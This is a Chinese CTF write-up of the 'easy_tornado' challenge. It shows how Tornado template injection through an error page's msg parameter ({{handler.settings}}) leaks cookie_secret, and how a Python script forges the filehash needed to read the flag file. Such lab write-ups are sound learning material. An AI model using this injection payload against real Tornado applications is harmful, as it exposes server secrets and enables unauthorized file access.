easy_tornado

本文讲述了通过分析Tornado框架中的STTI模板注入问题,如何利用该漏洞找到关键信息并解决挑战的过程,包括理解robots.txt、寻找注入点、构造payload以及解密获取flag。
摘要由CSDN通过智能技术生成

进入网址,看到以下内容

在这里插入图片描述
首先,习惯性的访问一下 robots.txt,看一下有没有什么好东西

在这里插入图片描述
看来不存在
返回,f12,发现body中的三行文字,并且分别指向三个地址 ,依次打开
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

首先,很容易的观察到,我们请求的网址都是由filename以及 filehash组成的

再从提示中,我们能够得到filename,以及猜测hints.txt中的公式就是filehash的计算方法,

但cookie_secret到底是个什么东西,别急,此时我们welcome.txt中的提示还没有使用,

后面百度搜索,看了下大佬们 wp,发现存在一种叫STTI模板注入,

原文地址:https://blog.csdn.net/qq_43678005/article/details/108108520

而render是python中web框架tornado里面一个方法,用来找到模板文件,渲染文件,从而显示页面(python+web框架之tornado的简介,感兴趣的朋友可以自己去了解下)

在了解STTI模板注入后,(作为学习者,一定要先了解相应的知识后再尝试着自己复现漏洞,这才是掌握技能的关键,更是一种良好的学习习惯),我们开始尝试注入

我们先找到注入点

在这里插入图片描述

尝试下注入

在这里插入图片描述
在这里插入图片描述

简单的尝试了一些后,猜测可能对表达式进行了过滤,

在根据,Tornado框架的附属文件handler.settings中存在 cookie_secret,

于是构造playload

msg={{hander.setting}}
# 完整网址为:http://33d2f68b-dab4-4588-9387-e8f6bc63abd6.node3.buuoj.cn/error?msg={{handler.settings}}

回车后,得到信息
在这里插入图片描述

得到了关键信息后,再对信息进行提示所给的公式进行加密

此处我使用了 python3.6进行公式加密

import hashlib
filename = '/fllllllllllllag'
""" 
	此处有个小插曲,hints.txt中的提示为md5(filename),
	所以第一次是使用的 fllllllllllllag (及没带入路径) 作为md5的加密对象,
	后面失败了几次,把路径加上才成功
"""
cookie_secret = '4a9b71f4-b003-41e0-a161-0030c57f1af6' 

md_5 = hashlib.md5()	# 创建md5对象
md_5.update(filename.encode('utf-8'))
md5_filename = md_5.hexdigest()     # 得到filename的md5加密结果
print(hashlib.md5((cookie_secret+md5_filename).encode('utf-8')).hexdigest()) # 得到最后结果

最后将md5加密结果以及文件地址带入url,?filename=/fllllllllllllag&filehash=10ee2b779502b8df63ee41b5623d8d75
在这里插入图片描述

得到flag为

flag{81bf23ec-253f-42da-b142-79ff26cd9e5c}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值